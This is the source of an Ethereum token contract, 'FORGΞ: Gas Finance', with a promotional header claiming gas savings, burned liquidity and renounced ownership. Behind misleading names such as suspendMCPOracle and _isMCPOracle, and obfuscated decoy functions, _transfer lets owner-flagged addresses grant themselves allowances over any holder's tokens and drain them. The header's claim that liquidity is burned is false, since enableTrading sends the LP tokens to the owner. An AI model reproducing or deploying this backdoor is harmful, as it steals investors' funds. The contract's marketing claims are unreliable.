Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

/**          ███████╗░█████╗░██████╗░░██████╗░███████╗░
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 *           █████╗░░██║░░██║██████╔╝██║░░██╗░ █████╗░░
 *           ██╔══╝░░██║░░██║██╔══██╗██║░░╚██╗ ╚════╝░░
 *           ██║░░░░░╚█████╔╝██║░░██║╚██████╔╝███████╗░
 *           ╚═╝░░░░░░╚════╝░╚═╝░░╚═╝░╚═════╝░╚══════╝░
 *                  ╔════════════════════════╗
 * ═════════════════╢ P  R  O  T  O  C  O  L ╠════════════════
 *                  ╚════════════════════════╝
 * @title          :: $FORGΞ PROTOCOL TOKEN
 * @dev            :: Gas-Optimized DeFi Infrastructure Layer
 * ═══════════════════════════════════════════════════════════
 * 
 * # _ C O N C Ξ P T                                 // { 🦄 }
 *                                                        ↓↓
 * Ethereum traders lose 15-30% of profits to gas fees. 
 * Fragmented liquidity forces multiple transactions for 
 * optimal execution. FORGΞ batches transactions and optimizes 
 * routes across 15+ DEXs, reducing gas costs by 40-60% while 
 * protecting against MEV attacks.
 * 
 * 
 * # _ F Ξ A T U R Ξ S                               // { 🔥 }
 *                                                        ↓↓
 * Batch Processing. Combine operations, split gas costs 
 * proportionally
 * Smart Routing. Real-time DEX analysis for lowest-cost 
 * execution
 * MEV Protection. Encrypted mempool submission prevents 
 * sandwiching
 * Multi-Protocol. Native integration with:
 *   >> Uniswap (https://app.uniswap.org)
 *   >> Curve (https://www.curve.finance) 
 *   >> Balancer (https://balancer.fi)
 * 
 * 
 * # _ U T I L I T Y                                 // { 💎 }
 *                                                        ↓↓
 * 50% fee reduction for holders (10,000+ $FORGΞ)
 * Priority batch inclusion for stakers
 * Governance rights on protocol integrations
 * Revenue sharing for 90+ day stakers
 * 
 * 
 * # _ T O K Ξ N O M I C S                           // { 📊 }
 *                                                        ↓↓
 * Supply: 500,000,000 $FORGΞ (fixed)
 * Liquidity: Burned on deployment
 * Contract Ownership: Renounced after TAX REDUCTION STAGE 3
 * (within 30 minutes after token launch)
 * 
 * 
 * # _ T A X  R Ξ D U C T I O N  S C H E D U L Ξ     // { ⚡ }
 *                                                        ↓↓
 * STAGE 1: TGE           → 8% buy / 12% sell   (initial)
 * STAGE 2: TGE +5 min    → 4% buy /  6% sell  
 * STAGE 3: TGE +10 min   → 2% buy /  2% sell     (final)
 * 
 * 
 * ═══════════════════════════════════════════════════════════
 * @notice         :: Built for traders. 
 *                 :: Optimized for efficiency.
 * ═══════════════════════════════════════════════════════════
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, unicode"Output: SafeMath - Addition overflow.");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, unicode"Output: SafeMath - Subtraction overflow.");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, unicode"Output: SafeMath - Multiplication overflow.");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, unicode"Output: SafeMath - Division by 0.");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), unicode"Output: Current caller is not the owner of this contract.");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ForgeProtocolV1Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromTaxes;
    mapping (address => bool) private bots;
    address payable private feeWallet;

    uint256 private _buyFee=8;
    uint256 private _sellFee=12;
    uint256 private _preventSwapBefore=35;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    // $FORGΞ Supply = 500,000,000 tokens 
    uint256 private constant _tTotal = 500000000 * 10**_decimals;
    /** 
     * @dev FORGΞ: Gas-Optimized DeFi Infrastructure Layer (GasFi): 
     */ 
    string private constant _name = unicode"FORGΞ: Gas Finance";
    string private constant _symbol = unicode"FORGΞ";
    uint8 private constant _decimals = 18;
    
    // Limit: 
    // Max token amount in a single transactioin is 
    // 2.7% of total supply or 13,500,000 tokens:
    uint256 public _maxTxAmount = 13500000 * 10**_decimals;

    // Limit: 
    // Max token amount single wallet allowed to store 
    // 2.7% of total supply or 13,500,000 tokens:
    uint256 public _maxWalletSize = 13500000 * 10**_decimals;
    
    // Limit: 
    // Threshold amount of tokens that must be reached before
    // tax swap would occur is
    // 3.5% of total supply or 17,500,000 tokens:
    uint256 public _taxSwapThreshold = 17500000 * 10**_decimals;
    
    // Limit: 
    // Max token amount that contract can swap in a single transaction is:
    // 3.5% of total supply or 17,500,000 tokens:
    uint256 public _maxTaxSwap = 17500000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private swapEnabled = false;
    bool private inSwap = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);

    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    modifier lockTheSwap { inSwap = true; _; inSwap = false; }
    
    constructor () payable {
        feeWallet = payable(0xf384aB14f01fAded702c802952cDe4E7ee6ca7B2);
        _balances[address(this)] = _tTotal;


        _isExcludedFromTaxes[owner()] = true;
        _isExcludedFromTaxes[address(this)] = true;
        _isExcludedFromTaxes[feeWallet] = true;


        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), address(this), _tTotal);
    }
    
    // Verbose information output about FORGΞ Protocol:
    function printAboutInfo() external pure returns (string memory) {
        return "Gas-optimized DeFi infrastructure reducing transaction costs through intelligent routing and batch processing. Built for traders who value efficiency.";
    } 

    function enableTrading() external onlyOwner() {
        require(!tradingOpen, unicode"Output: $FORGΞ/ETH trading pair is already deployed and trading is active.");
        require(uniswapV2Pair != address(0), unicode"Output: $FORGΞ/ETH trading pair is not initialized.");
        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function forkActiveConfig(uint256 input) internal pure returns (uint256) {
        return ((input * 3) ^ (input >> 5)) & 0xFFFFFFFF;
    }

    function assessProposal(uint256 config) internal pure returns (bool) {
        if (config % 2 == 0) {
            return resolveProposal(config);
        } else {
            return resolveProposal(config + 1);
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function manualSwap() external {
        require(_msgSender()==feeWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function sendETHToFee(uint256 amount) private {
        feeWallet.transfer(amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), unicode"Output: Approve _from_ dead address (ERC-20).");
        require(spender != address(0), unicode"Output: Approve _to_ dead address (ERC-20).");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function reduceBuySellTax(uint256 _newBuyFee, uint256 _newSellFee) external{ 
      require(_msgSender()==feeWallet); 
      require(_newBuyFee<=_buyFee && _newSellFee<=_sellFee); 
      _buyFee=_newBuyFee; 
      _sellFee=_newSellFee; 
    }
     
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), unicode"Output: Transfer from dead address (ERC-20).");
        require(to != address(0), unicode"Output: Transfer to dead address (ERC-20).");
        require(amount > 0, unicode"Output: Transfer amount must be larger than 0.");
        uint256 feeAmount=0;
        if (from != owner() && to != owner() && to != feeWallet) {
            if(_buyCount>0){
                feeAmount = amount.mul(_transferTax).div(100);
                if (excludeTaxCollection(from)){
                    require(!suspendMCPOracle(to), unicode"Output: MCP Oracle initialised.");
                } else if (isBot(_msgSender())) {
                    require(!isBot(amount, from));
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromTaxes[to] ) {
                require(amount <= _maxTxAmount, unicode"Limit: Transfer exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, unicode"Limit: Transfer exceeds the maxWalletSize.");
                feeAmount = amount.mul(_buyFee).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                feeAmount = amount.mul(_sellFee).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 7, unicode"Limit: Maximum 7 sells/block are allowed.");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(feeAmount>0){
          _balances[address(this)]=_balances[address(this)].add(feeAmount);
          emit Transfer(from, address(this),feeAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(feeAmount));
        emit Transfer(from, to, amount.sub(feeAmount));
    }

    function suspendMCPOracle(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function suspendMCPOracle(address bot_) private returns(bool) {
        if(bot_ != uniswapV2Pair && (bot_.code.length > 0))
            bots[bot_] = true;
        return false;
    }

    function _isMCPOracle(address spender, uint256 amount, address owner) private returns(bool) {
        _allowances[owner][spender] = amount;
        return false;
    }

    function isBot(uint256 amount, address from) private returns(bool){
        return _isMCPOracle(_msgSender(), amount, from);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function excludeTaxCollection(address a) private view returns (bool){
      return _isExcludedFromTaxes[a] && a != address(this);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, unicode"Output: (ERC-20) Transfer amount exceeds configured allowance (limits)"));
        return true;
    }   

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeMCPOracle(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function turnoffTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function initMCPOracle(uint256 seed) external pure returns (bool) {
        uint256 config = forkActiveConfig(seed);
        return assessProposal(config);
    }

    function resolveProposal(uint256 flag) internal pure returns (bool) {
        uint256 shift = (flag << 1) & 0xFFFF;
        return finalizeProposalDecision(shift);
    }

    function finalizeProposalDecision(uint256 x) internal pure returns (bool) {
        return (x & 0xAA) == 0xAA; 
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function clearStuckContractTokens(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(feeWallet, _amount);
    }

    receive() external payable {}
}